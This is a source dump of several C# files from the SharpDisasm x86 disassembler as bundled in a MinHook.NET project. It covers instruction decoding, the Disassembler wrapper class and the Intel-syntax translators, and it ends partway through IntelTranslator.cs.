| /// 119 | internal byte pfx_adr; 120 | /// 121 | /// Low-level decode information 122 | /// 123 | internal byte pfx_lock; 124 | /// 125 | /// Low-level decode information 126 | /// 127 | internal byte pfx_str; 128 | /// 129 | /// Low-level decode information 130 | /// 131 | internal byte pfx_rep; 132 | /// 133 | /// Low-level decode information 134 | /// 135 | internal byte pfx_repe; 136 | /// 137 | /// Low-level decode information 138 | /// 139 | internal byte pfx_repne; 140 | 141 | /// 142 | /// The operand mode (16-,32-, or 64-bit), i.e. we could be reading a 16-bit value from a 32-bit address, in which case opr_mode would be 16, while adr_mode would be 32. 143 | /// 144 | internal byte opr_mode; 145 | 146 | /// 147 | /// The memory addressing mode of the instruction (16-,32-, or 64-bit) 148 | /// 149 | internal byte adr_mode; 150 | /// 151 | /// Low-level decode information 152 | /// 153 | internal byte br_far; 154 | /// 155 | /// Low-level decode information 156 | /// 157 | internal byte br_near; 158 | /// 159 | /// Low-level decode information 160 | /// 161 | internal byte have_modrm; 162 | /// 163 | /// Low-level decode information 164 | /// 165 | internal byte modrm; 166 | /// 167 | /// Low-level decode information 168 | /// 169 | internal byte primary_opcode; 170 | 171 | #endregion 172 | 173 | /// 174 | /// The instruction architecture as configured within the constructor of 175 | /// 176 | public ArchitectureMode dis_mode; 177 | 178 | /// 179 | /// The instruction table entry that applies to this instruction 180 | /// 181 | internal SharpDisasm.Udis86.ud_itab_entry itab_entry; 182 | 183 | internal Instruction(ref Udis86.ud u, bool keepBinary) 184 | { 185 | this.Offset = u.insn_offset; 186 | this.PC = u.pc; 187 | this.Mnemonic = u.mnemonic; 188 | 189 | // Add operands 190 | List operands = new List(4); 191 | if (u.operand[0].type != Udis86.ud_type.UD_NONE) 192 | { 193 | operands.Add(new Operand(u.operand[0])); 194 | if (u.operand[1].type != Udis86.ud_type.UD_NONE) 195 | { 196 | operands.Add(new Operand(u.operand[1])); 197 | if (u.operand[2].type != Udis86.ud_type.UD_NONE) 198 | { 199 | operands.Add(new Operand(u.operand[2])); 200 | if (u.operand[3].type != Udis86.ud_type.UD_NONE) operands.Add(new Operand(u.operand[3])); 201 | } 202 | } 203 | } 204 | this.Operands = operands.ToArray(); 205 | 206 | this.Length = u.inp_ctr; 207 | 208 | // Copy the instruction bytes 209 | if (keepBinary) 210 | { 211 | this.Bytes = u.inp_buf.CopyToBytes(u.inp_buf_index - this.Length, this.Length); 212 | } 213 | 214 | if (u.error > 0) 215 | { 216 | this.Error = true; 217 | this.ErrorMessage = u.errorMessage; 218 | } 219 | else if (this.Mnemonic == Udis86.ud_mnemonic_code.UD_Iinvalid) 220 | { 221 | this.Error = true; 222 | this.ErrorMessage = "Invalid instruction"; 223 | } 224 | 225 | this.itab_entry = u.itab_entry; 226 | this.dis_mode = (ArchitectureMode) u.dis_mode; 227 | this.pfx_rex = u.pfx_rex; 228 | this.pfx_seg = u.pfx_seg; 229 | this.pfx_opr = u.pfx_opr; 230 | this.pfx_adr = u.pfx_adr; 231 | this.pfx_lock = u.pfx_lock; 232 | this.pfx_str = u.pfx_str; 233 | this.pfx_rep = u.pfx_rep; 234 | this.pfx_repe = u.pfx_repe; 235 | this.pfx_repne = u.pfx_repne; 236 | this.opr_mode = u.opr_mode; 237 | this.adr_mode = u.adr_mode; 238 | this.br_far = u.br_far; 239 | this.br_near = u.br_near; 240 | this.have_modrm = u.have_modrm; 241 | this.modrm = u.modrm; 242 | this.primary_opcode = u.primary_opcode; 243 | } 244 | 245 | /// 246 | /// Output the instruction using the assigned to . 247 | /// 248 | /// The translated instruction (e.g. Intel ASM syntax) 249 | public override string ToString() 250 | { 251 | if (Disassembler.Translator == null) 252 | throw new ArgumentNullException("Translator", "Disassembler.Translator must be configured to use Instruction.ToString"); 253 | return Disassembler.Translator.Translate(this); 254 | } 255 | } 256 | } 257 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Disassembler.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\disassembler.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | using SharpDisasm.Helpers; 43 | 44 | namespace SharpDisasm 45 | { 46 | /// 47 | /// Provides a simple wrapper around the C# ported udis86 library. 48 | /// 49 | public sealed class Disassembler : IDisposable 50 | { 51 | #region Public field members 52 | 53 | /// 54 | /// The address 55 | /// 56 | public readonly ulong Address; 57 | 58 | /// 59 | /// The x86 CPU architecture to use: 16-bit, 32-bit or 64-bit. 60 | /// 61 | public readonly ArchitectureMode Architecture; 62 | 63 | /// 64 | /// Copies the source binary to the decoded instructions. When true this option increases the memory required for each decoded instruction. 65 | /// 66 | public readonly bool CopyBinaryToInstruction = false; 67 | 68 | /// 69 | /// Which vendor instructions to support for disassembly. Options are AMD, Intel or Any. 70 | /// 71 | public readonly Vendor Vendor; 72 | 73 | /// 74 | /// The offset 75 | /// 76 | public readonly ulong Offset; 77 | 78 | #endregion 79 | 80 | #region Private field members 81 | 82 | private readonly IAssemblyCode Code; 83 | 84 | /// 85 | /// The udis86 ud structure used during disassembly. 86 | /// 87 | private Udis86.ud _u = new Udis86.ud(); 88 | 89 | #endregion 90 | 91 | /// 92 | /// The translator that will be used when calling . 93 | /// 94 | public static SharpDisasm.Translators.Translator Translator = new SharpDisasm.Translators.IntelTranslator(); 95 | 96 | /// 97 | /// The number of bytes successfully decoded into instructions. This excludes invalid instructions. 98 | /// 99 | public int BytesDecoded { get; private set; } 100 | 101 | /// 102 | /// Initializes a new instance of the class. 103 | /// 104 | /// The code. 105 | /// The architecture. 106 | /// The offset. 107 | /// The address. 108 | /// if set to true [copy binary to instruction]. 109 | /// The vendor. 110 | public Disassembler(IAssemblyCode code, ArchitectureMode architecture, ulong offset = 0x0, ulong address = 0x0, bool copyBinaryToInstruction = false, Vendor vendor = Vendor.Any) 111 | { 112 | this.Code = code; 113 | 114 | this.Architecture = architecture; 115 | this.Address = address; 116 | this.CopyBinaryToInstruction = copyBinaryToInstruction; 117 | this.Vendor = vendor; 118 | this.Offset = offset; 119 | 120 | InitUdis86(); 121 | } 122 | 123 | /// 124 | /// Prepares a new disassembler instance for the code provided. The instructions can then be disassembled with a call to . The base address used to resolve relative addresses should be provided in . 125 | /// 126 | /// The code to be disassembled 127 | /// The target x86 instruction set architecture of the code (e.g. 64-bit, 32-bit or 16-bit). 128 | /// The address of the first byte of code. This value is used to resolve relative addresses into absolute addresses while disassembling. 129 | /// Keeps a copy of the binary code for the instruction. This will increase the memory usage for each instruction. This is necessary if planning on using the option. 130 | /// What vendor instructions to support during disassembly, default is Any. Other options are AMD or Intel. 131 | /// The offset. 132 | public Disassembler(byte[] code, ArchitectureMode architecture, ulong address = 0x0, bool copyBinaryToInstruction = false, Vendor vendor = Vendor.Any, ulong offset = 0) 133 | : this(new AssemblyCodeArray(code), architecture, offset, address, copyBinaryToInstruction, vendor) 134 | { 135 | } 136 | 137 | /// 138 | /// Prepares a new disassembler instance for the code located at the memory address provided. The instructions can then be disassembled with a call to . The base address used to resolve relative addresses should be provided in . 139 | /// 140 | /// A pointer to memory to be disassembled. 141 | /// The maximum length to be disassembled. 142 | /// The architecture of the code (e.g. 64-bit, 32-bit or 16-bit). 143 | /// The address of the first byte of code. This value is used to resolve relative addresses into absolute addresses while disassembling. 144 | /// Keeps a copy of the binary code for the instruction. This will increase the memory usage for each instruction. This is necessary if planning on using the option. 145 | /// What vendors to support for disassembly, default is Any. Other options are AMD or Intel. 146 | public Disassembler(IntPtr codePtr, int codeLength, ArchitectureMode architecture, ulong address = 0x0, bool copyBinaryToInstruction = false, Vendor vendor = Vendor.Any) 147 | : this(new AssemblyCodeMemory(codePtr, codeLength), architecture, 0, address, copyBinaryToInstruction, vendor) 148 | { 149 | if (codePtr == IntPtr.Zero) 150 | throw new ArgumentOutOfRangeException("codePtr"); 151 | if (codeLength <= 0) 152 | throw new ArgumentOutOfRangeException("codeLength", "Code length must be larger than 0."); 153 | } 154 | 155 | /// 156 | /// (Re)Initialise the udis86 disassembler 157 | /// 158 | private void InitUdis86() 159 | { 160 | // reset _u and initialise 161 | Udis86.udis86.ud_init(ref _u); 162 | // set input buffer 163 | Udis86.udis86.ud_set_input_buffer(ref _u, this.Code); 164 | // set architecture 165 | Udis86.udis86.ud_set_mode(ref _u, (byte)this.Architecture); 166 | // set program counter 167 | Udis86.udis86.ud_set_pc(ref _u, Address); 168 | // set the vendor 169 | Udis86.udis86.ud_set_vendor(ref _u, (int)Vendor); 170 | 171 | _u.inp_buf_index = (int)Offset; 172 | } 173 | 174 | /// 175 | /// Disassemble instructions and yield the result. Breaking out of the enumerator will prevent further instructions being disassembled. 176 | /// 177 | /// An IEnumerable collection of disassembled instructions 178 | public IEnumerable Disassemble() 179 | { 180 | Reset(); 181 | Instruction instruction = null; 182 | while ((instruction = NextInstruction()) != null) 183 | { 184 | yield return instruction; 185 | } 186 | } 187 | 188 | /// 189 | /// Reset to beginning of the buffer 190 | /// 191 | public void Reset() 192 | { 193 | InitUdis86(); 194 | BytesDecoded = 0; 195 | _u.inp_buf_index = (int)Offset; 196 | } 197 | 198 | /// 199 | /// Decodes a single instruction and increments buffer position. 200 | /// 201 | /// 202 | public Instruction NextInstruction() 203 | { 204 | int length = 0; 205 | if ((length = Udis86.udis86.ud_disassemble(ref _u)) > 0) 206 | { 207 | var instruction = new Instruction(ref _u, CopyBinaryToInstruction); 208 | if (!instruction.Error) 209 | { 210 | BytesDecoded += length; 211 | } 212 | return instruction; 213 | } 214 | return null; 215 | } 216 | 217 | /// 218 | /// Finalizer 219 | /// 220 | ~Disassembler() 221 | { 222 | Dispose(); 223 | } 224 | 225 | /// 226 | /// Dispose 227 | /// 228 | public void Dispose() 229 | { 230 | //if (_pinnedCodeArray != null) 231 | //{ 232 | // _pinnedCodeArray.Dispose(); 233 | // _pinnedCodeArray = null; 234 | //} 235 | } 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Udis86/syn_intel.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\syn_intel.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using System; 38 | using System.Collections.Generic; 39 | using System.Linq; 40 | using System.Text; 41 | 42 | 43 | namespace SharpDisasm.Udis86 44 | { 45 | #pragma warning disable 1591 46 | public class syn_intel : syn 47 | { 48 | 49 | /* ----------------------------------------------------------------------------- 50 | * opr_cast() - Prints an operand cast. 51 | * ----------------------------------------------------------------------------- 52 | */ 53 | public void opr_cast(ref ud u, ref ud_operand op) 54 | { 55 | if (u.br_far > 0) 56 | { 57 | ud_asmprintf(ref u, "far "); 58 | } 59 | switch (op.size) 60 | { 61 | case 8: ud_asmprintf(ref u, "byte "); break; 62 | case 16: ud_asmprintf(ref u, "word "); break; 63 | case 32: ud_asmprintf(ref u, "dword "); break; 64 | case 64: ud_asmprintf(ref u, "qword "); break; 65 | case 80: ud_asmprintf(ref u, "tword "); break; 66 | default: break; 67 | } 68 | } 69 | 70 | /* ----------------------------------------------------------------------------- 71 | * gen_operand() - Generates assembly output for each operand. 72 | * ----------------------------------------------------------------------------- 73 | */ 74 | void gen_operand(ref ud u, ref ud_operand op, int syn_cast) 75 | { 76 | switch (op.type) 77 | { 78 | case ud_type.UD_OP_REG: 79 | syn.ud_asmprintf(ref u, "{0}", ud_reg_tab[op.@base - ud_type.UD_R_AL]); 80 | break; 81 | 82 | case ud_type.UD_OP_MEM: 83 | if (syn_cast > 0) 84 | { 85 | opr_cast(ref u, ref op); 86 | } 87 | ud_asmprintf(ref u, "["); 88 | if (u.pfx_seg > 0) 89 | { 90 | syn.ud_asmprintf(ref u, "{0}:", ud_reg_tab[u.pfx_seg - (int)ud_type.UD_R_AL]); 91 | } 92 | if (op.@base > 0) 93 | { 94 | syn.ud_asmprintf(ref u, "{0}", ud_reg_tab[op.@base - ud_type.UD_R_AL]); 95 | } 96 | if (op.index > 0) 97 | { 98 | syn.ud_asmprintf(ref u, "{0}{1}", op.@base != ud_type.UD_NONE ? "+" : "", 99 | ud_reg_tab[op.index - ud_type.UD_R_AL]); 100 | if (op.scale > 0) 101 | { 102 | syn.ud_asmprintf(ref u, "*{0}", op.scale); 103 | } 104 | } 105 | if (op.offset != 0) 106 | { 107 | ud_syn_print_mem_disp(ref u, ref op, (op.@base != ud_type.UD_NONE || 108 | op.index != ud_type.UD_NONE) ? 1 : 0); 109 | } 110 | syn.ud_asmprintf(ref u, "]"); 111 | break; 112 | 113 | case ud_type.UD_OP_IMM: 114 | ud_syn_print_imm(ref u, ref op); 115 | break; 116 | 117 | 118 | case ud_type.UD_OP_JIMM: 119 | ud_syn_print_addr(ref u, (long)ud_syn_rel_target(ref u, ref op)); 120 | break; 121 | 122 | case ud_type.UD_OP_PTR: 123 | switch (op.size) 124 | { 125 | case 32: 126 | ud_asmprintf(ref u, "word 0x{0:x}:0x{1:x}", op.lval.ptr_seg, 127 | op.lval.ptr_off & 0xFFFF); 128 | break; 129 | case 48: 130 | ud_asmprintf(ref u, "dword 0x{0:x}:0x{0:x}", op.lval.ptr_seg, 131 | op.lval.ptr_off); 132 | break; 133 | } 134 | break; 135 | 136 | case ud_type.UD_OP_CONST: 137 | if (syn_cast > 0) opr_cast(ref u, ref op); 138 | ud_asmprintf(ref u, "{0}", op.lval.udword); 139 | break; 140 | 141 | default: return; 142 | } 143 | } 144 | 145 | /* ============================================================================= 146 | * translates to intel syntax 147 | * ============================================================================= 148 | */ 149 | public void ud_translate_intel(ref ud u) 150 | { 151 | /* check if P_OSO prefix is used */ 152 | if (BitOps.P_OSO(u.itab_entry.Prefix) == 0 && u.pfx_opr > 0) 153 | { 154 | switch (u.dis_mode) 155 | { 156 | case 16: ud_asmprintf(ref u, "o32 "); break; 157 | case 32: 158 | case 64: ud_asmprintf(ref u, "o16 "); break; 159 | } 160 | } 161 | 162 | /* check if P_ASO prefix was used */ 163 | if (BitOps.P_ASO(u.itab_entry.Prefix) == 0 && u.pfx_adr > 0) 164 | { 165 | switch (u.dis_mode) 166 | { 167 | case 16: ud_asmprintf(ref u, "a32 "); break; 168 | case 32: ud_asmprintf(ref u, "a16 "); break; 169 | case 64: ud_asmprintf(ref u, "a32 "); break; 170 | } 171 | } 172 | 173 | if (u.pfx_seg > 0 && 174 | u.operand[0].type != ud_type.UD_OP_MEM && 175 | u.operand[1].type != ud_type.UD_OP_MEM) 176 | { 177 | ud_asmprintf(ref u, "{0} ", ud_reg_tab[u.pfx_seg - (byte)ud_type.UD_R_AL]); 178 | } 179 | 180 | if (u.pfx_lock > 0) 181 | { 182 | ud_asmprintf(ref u, "lock "); 183 | } 184 | if (u.pfx_rep > 0) 185 | { 186 | ud_asmprintf(ref u, "rep "); 187 | } 188 | else if (u.pfx_repe > 0) 189 | { 190 | ud_asmprintf(ref u, "repe "); 191 | } 192 | else if (u.pfx_repne > 0) 193 | { 194 | ud_asmprintf(ref u, "repne "); 195 | } 196 | 197 | /* print the instruction mnemonic */ 198 | ud_asmprintf(ref u, "{0}", udis86.ud_lookup_mnemonic(u.mnemonic)); 199 | 200 | if (u.operand[0].type != ud_type.UD_NONE) 201 | { 202 | int cast = 0; 203 | ud_asmprintf(ref u, " "); 204 | if (u.operand[0].type == ud_type.UD_OP_MEM) 205 | { 206 | if (u.operand[1].type == ud_type.UD_OP_IMM || 207 | u.operand[1].type == ud_type.UD_OP_CONST || 208 | u.operand[1].type == ud_type.UD_NONE || 209 | (u.operand[0].size != u.operand[1].size && 210 | u.operand[1].type != ud_type.UD_OP_REG)) 211 | { 212 | cast = 1; 213 | } 214 | else if (u.operand[1].type == ud_type.UD_OP_REG && 215 | u.operand[1].@base == ud_type.UD_R_CL) 216 | { 217 | switch (u.mnemonic) 218 | { 219 | case ud_mnemonic_code.UD_Ircl: 220 | case ud_mnemonic_code.UD_Irol: 221 | case ud_mnemonic_code.UD_Iror: 222 | case ud_mnemonic_code.UD_Ircr: 223 | case ud_mnemonic_code.UD_Ishl: 224 | case ud_mnemonic_code.UD_Ishr: 225 | case ud_mnemonic_code.UD_Isar: 226 | cast = 1; 227 | break; 228 | default: break; 229 | } 230 | } 231 | } 232 | gen_operand(ref u, ref u.operand[0], cast); 233 | } 234 | 235 | if (u.operand[1].type != ud_type.UD_NONE) 236 | { 237 | int cast = 0; 238 | ud_asmprintf(ref u, ", "); 239 | if (u.operand[1].type == ud_type.UD_OP_MEM && 240 | u.operand[0].size != u.operand[1].size && 241 | !udis86.ud_opr_is_sreg(ref u.operand[0])) 242 | { 243 | cast = 1; 244 | } 245 | gen_operand(ref u, ref u.operand[1], cast); 246 | } 247 | 248 | if (u.operand[2].type != ud_type.UD_NONE) 249 | { 250 | int cast = 0; 251 | ud_asmprintf(ref u, ", "); 252 | if (u.operand[2].type == ud_type.UD_OP_MEM && 253 | u.operand[2].size != u.operand[1].size) 254 | { 255 | cast = 1; 256 | } 257 | gen_operand(ref u, ref u.operand[2], cast); 258 | } 259 | 260 | if (u.operand[3].type != ud_type.UD_NONE) 261 | { 262 | ud_asmprintf(ref u, ", "); 263 | gen_operand(ref u, ref u.operand[3], 0); 264 | } 265 | } 266 | } 267 | #pragma warning restore 1591 268 | } 269 | -------------------------------------------------------------------------------- /MinHook.NET/SharpDisasm/Translators/IntelTranslator.cs: -------------------------------------------------------------------------------- 1 | // -------------------------------------------------------------------------------- 2 | // SharpDisasm (File: SharpDisasm\inteltranslator.cs) 3 | // Copyright (c) 2014-2015 Justin Stenning 4 | // http://spazzarama.com 5 | // https://github.com/spazzarama/SharpDisasm 6 | // https://sharpdisasm.codeplex.com/ 7 | // 8 | // SharpDisasm is distributed under the 2-clause "Simplified BSD License". 9 | // 10 | // Portions of SharpDisasm are ported to C# from udis86 a C disassembler project 11 | // also distributed under the terms of the 2-clause "Simplified BSD License" and 12 | // Copyright (c) 2002-2012, Vivek Thampi 13 | // All rights reserved. 14 | // UDIS86: https://github.com/vmt/udis86 15 | // 16 | // Redistribution and use in source and binary forms, with or without modification, 17 | // are permitted provided that the following conditions are met: 18 | // 19 | // 1. Redistributions of source code must retain the above copyright notice, 20 | // this list of conditions and the following disclaimer. 21 | // 2. Redistributions in binary form must reproduce the above copyright notice, 22 | // this list of conditions and the following disclaimer in the documentation 23 | // and/or other materials provided with the distribution. 24 | // 25 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 26 | // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 29 | // ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 30 | // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 31 | // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON 32 | // ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 33 | // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 34 | // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | // -------------------------------------------------------------------------------- 36 | 37 | using SharpDisasm.Udis86; 38 | using System; 39 | using System.Collections.Generic; 40 | using System.Linq; 41 | using System.Text; 42 | 43 | namespace SharpDisasm.Translators 44 | { 45 | /// 46 | /// Translates instructions to Intel ASM syntax 47 | /// 48 | /// 49 | public class IntelTranslator: Translator 50 | { 51 | /// 52 | /// Translate the instruction into Intel syntax 53 | /// 54 | /// 55 | protected override void TranslateInstruction(Instruction insn) 56 | { 57 | ud_translate_intel(insn); 58 | } 59 | 60 | /* ----------------------------------------------------------------------------- 61 | * opr_cast() - Prints an operand cast. 62 | * ----------------------------------------------------------------------------- 63 | */ 64 | void opr_cast(Instruction insn, Operand op) 65 | { 66 | if (insn.br_far > 0) 67 | { 68 | Content.Append("far "); 69 | } 70 | switch (op.Size) 71 | { 72 | case 8: Content.Append("byte "); break; 73 | case 16: Content.Append("word "); break; 74 | case 32: Content.Append("dword "); break; 75 | case 64: Content.Append("qword "); break; 76 | case 80: Content.Append("tword "); break; 77 | default: break; 78 | } 79 | } 80 | 81 | /* ----------------------------------------------------------------------------- 82 | * gen_operand() - Generates assembly output for each operand. 83 | * ----------------------------------------------------------------------------- 84 | */ 85 | void gen_operand(Instruction insn, Operand op, int syn_cast) 86 | { 87 | switch (op.Type) 88 | { 89 | case ud_type.UD_OP_REG: 90 | Content.AppendFormat("{0}", RegisterForType(op.Base)); 91 | break; 92 | 93 | case ud_type.UD_OP_MEM: 94 | if (syn_cast > 0) 95 | { 96 | opr_cast(insn, op); 97 | } 98 | Content.Append("["); 99 | if (insn.pfx_seg > 0) 100 | { 101 | Content.AppendFormat("{0}:", RegisterForType((ud_type)insn.pfx_seg)); 102 | } 103 | 104 | // don't print out the base register rip if resolve rip option is enabled 105 | if (op.Base > 0 && !(ResolveRip && op.Base == ud_type.UD_R_RIP && op.Index == ud_type.UD_NONE)) 106 | { 107 | Content.AppendFormat("{0}", RegisterForType(op.Base)); 108 | } 109 | if (op.Index > 0) 110 | { 111 | Content.AppendFormat("{0}{1}", op.Base != ud_type.UD_NONE ? "+" : "", 112 | RegisterForType(op.Index)); 113 | if (op.Scale > 0) 114 | { 115 | Content.AppendFormat("*{0}", op.Scale); 116 | } 117 | } 118 | if (op.Offset != 0) 119 | { 120 | ud_syn_print_mem_disp(insn, op, (op.Base != ud_type.UD_NONE || 121 | op.Index != ud_type.UD_NONE) ? 1 : 0); 122 | } 123 | Content.Append("]"); 124 | break; 125 | 126 | case ud_type.UD_OP_IMM: 127 | ud_syn_print_imm(insn, op); 128 | break; 129 | 130 | 131 | case ud_type.UD_OP_JIMM: 132 | ud_syn_print_addr(insn, (long)ud_syn_rel_target(insn, op)); 133 | break; 134 | 135 | case ud_type.UD_OP_PTR: 136 | switch (op.Size) 137 | { 138 | case 32: 139 | Content.AppendFormat("word 0x{0:x}:0x{1:x}", op.PtrSegment, 140 | op.PtrOffset & 0xFFFF); 141 | break; 142 | case 48: 143 | Content.AppendFormat("dword 0x{0:x}:0x{1:x}", op.PtrSegment, 144 | op.PtrOffset); 145 | break; 146 | } 147 | break; 148 | 149 | case ud_type.UD_OP_CONST: 150 | if (syn_cast > 0) opr_cast(insn, op); 151 | Content.AppendFormat("{0}", op.LvalUDWord); 152 | break; 153 | 154 | default: return; 155 | } 156 | } 157 | 158 | /* ============================================================================= 159 | * translates to intel syntax 160 | * ============================================================================= 161 | */ 162 | void ud_translate_intel(Instruction insn) 163 | { 164 | /* check if P_OSO prefix is used */ 165 | if (BitOps.P_OSO(insn.itab_entry.Prefix) == 0 && insn.pfx_opr > 0) 166 | { 167 | switch (insn.dis_mode) 168 | { 169 | case ArchitectureMode.x86_16: Content.Append("o32 "); break; 170 | case ArchitectureMode.x86_32: 171 | case ArchitectureMode.x86_64: Content.Append("o16 "); break; 172 | } 173 | } 174 | 175 | /* check if P_ASO prefix was used */ 176 | if (BitOps.P_ASO(insn.itab_entry.Prefix) == 0 && insn.pfx_adr > 0) 177 | { 178 | switch (insn.dis_mode) 179 | { 180 | case ArchitectureMode.x86_16: Content.Append("a32 "); break; 181 | case ArchitectureMode.x86_32: Content.Append("a16 "); break; 182 | case ArchitectureMode.x86_64: Content.Append("a32 "); break; 183 | } 184 | } 185 | 186 | if (insn.pfx_seg > 0 && 187 | insn.Operands.Length > 1 && 188 | insn.Operands[0].Type != ud_type.UD_OP_MEM && 189 | insn.Operands[1].Type != ud_type.UD_OP_MEM) 190 | { 191 | Content.AppendFormat("{0} ", RegisterForType((ud_type)insn.pfx_seg)); 192 | } 193 | 194 | if (insn.pfx_lock > 0) 195 | { 196 | Content.Append("lock "); 197 | } 198 | if (insn.pfx_rep > 0) 199 | { 200 | Content.Append("rep "); 201 | } 202 | else if (insn.pfx_repe > 0) 203 | { 204 | Content.Append("repe "); 205 | } 206 | else if (insn.pfx_repne > 0) 207 | { 208 | Content.Append("repne "); 209 | } 210 | 211 | /* print the instruction mnemonic */ 212 | Content.AppendFormat("{0}", Udis86.udis86.ud_lookup_mnemonic(insn.Mnemonic)); 213 | 214 | if (insn.Operands.Length > 0 && insn.Operands[0].Type != ud_type.UD_NONE) 215 | { 216 | int cast = 0; 217 | Content.Append(" "); 218 | if (insn.Operands[0].Type == ud_type.UD_OP_MEM) 219 | { 220 | if ((insn.Operands.Length > 1 && 221 | (insn.Operands[1].Type == ud_type.UD_OP_IMM || 222 | insn.Operands[1].Type == ud_type.UD_OP_CONST)) || 223 | insn.Operands.Length < 2 || //insn.Operands[1].Type == ud_type.UD_NONE) || 224 | (insn.Operands.Length > 1 && 225 | insn.Operands[0].Size != insn.Operands[1].Size && 226 | insn.Operands[1].Type != ud_type.UD_OP_REG)) 227 | { 228 | cast = 1; 229 | } 230 | else if (insn.Operands[1].Type == ud_type.UD_OP_REG && 231 | insn.Operands[1].Base == ud_type.UD_R_CL) 232 | { 233 | switch (insn.Mnemonic) 234 | { 235 | case ud_mnemonic_code.UD_Ircl: 236 | case ud_mnemonic_code.UD_Irol: 237 | case ud_mnemonic_code.UD_Iror: 238 | case ud_mnemonic_code.UD_Ircr: 239 | case ud_mnemonic_code.UD_Ishl: 240 | case 